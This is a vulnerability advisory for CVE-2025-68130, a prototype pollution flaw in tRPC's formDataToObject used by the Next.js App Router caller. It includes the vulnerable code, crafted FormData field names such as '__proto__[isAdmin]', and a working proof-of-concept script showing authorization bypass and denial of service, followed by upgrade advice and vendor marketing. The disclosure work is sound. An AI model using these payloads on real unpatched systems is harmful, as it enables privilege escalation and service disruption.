Summary
tRPC has possible prototype pollution in experimental_nextAppDirCaller
Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.
A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.
Affected Versions
- Package:
@trpc/server - Affected Versions: >=10.27.0
- Vulnerable Component:
formDataToObject()insrc/unstable-core-do-not-import/http/formDataToObject.ts
Vulnerability Details
Root Cause
The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.
Vulnerable Code
// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
if (path.length > 1) {
const newPath = [...path];
const key = newPath.shift(); // ← No validation of dangerous keys
const nextKey = newPath[0];
if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype
obj[key] = isNumberString(nextKey) ? [] : {};
}
set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype
return;
}
// ...
}
export function formDataToObject(formData) {
const obj = {};
for (const [key, value] of formData.entries()) {
const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
set(obj, parts, value);
}
return obj;
}
Attack Vector
When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:
// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
input = formDataToObject(input); // ← Vulnerable call
}
An attacker can craft FormData with malicious field names:
const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");
When processed, this pollutes Object.prototype:
{}.isAdmin // → "true"
{}.role // → "superadmin"
Proof of Concept
# Step 1: Create the project directory
mkdir trpc-vuln-poc
cd trpc-vuln-poc
# Step 2: Initialize npm
npm init -y
# Step 3: Install vulnerable tRPC
npm install @trpc/[email protected]
# Step 4: Create the test file
Test.js
const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');
console.log("=== PoC Prototype Pollution en tRPC ===\n");
console.log("[1] Estado inicial:");
console.log(" {}.isAdmin =", {}.isAdmin);
const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");
console.log("\n[2] FormData malicioso:");
console.log(' __proto__[isAdmin] = "true"');
console.log(' __proto__[role] = "superadmin"');
console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log(" Resultado:", JSON.stringify(result));
console.log("\n[4] Después del ataque:");
console.log(" {}.isAdmin =", {}.isAdmin);
console.log(" {}.role =", {}.role);
const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log(" Usuario normal:", JSON.stringify(user));
console.log(" user.isAdmin =", user.isAdmin);
if (user.isAdmin) {
console.log("\n VULNERABLE - Authorization bypass exitoso!");
} else {
console.log("\n ✓ Seguro");
}
Authorization Bypass (HIGH)
Many applications check user permissions using property access:
// Vulnerable pattern
if (user.isAdmin) {
// Grant admin access
}
After pollution, all objects will have isAdmin: "true", bypassing authorization.
Denial of Service (MEDIUM)
Polluting commonly used property names can crash applications:
formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
@trpc/server to 10.45.3 or later; @trpc/server to 11.8.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-68130? CVE-2025-68130 is a high-severity security vulnerability in @trpc/server (npm), affecting versions >= 10.27.0, < 10.45.3. It is fixed in 10.45.3, 11.8.0.
- Which versions of @trpc/server are affected by CVE-2025-68130? @trpc/server (npm) versions >= 10.27.0, < 10.45.3 is affected.
- Is there a fix for CVE-2025-68130? Yes. CVE-2025-68130 is fixed in 10.45.3, 11.8.0. Upgrade to this version or later.
- Is CVE-2025-68130 exploitable, and should I be worried? Whether CVE-2025-68130 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-68130 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-68130?
- Upgrade
@trpc/serverto 10.45.3 or later - Upgrade
@trpc/serverto 11.8.0 or later
- Upgrade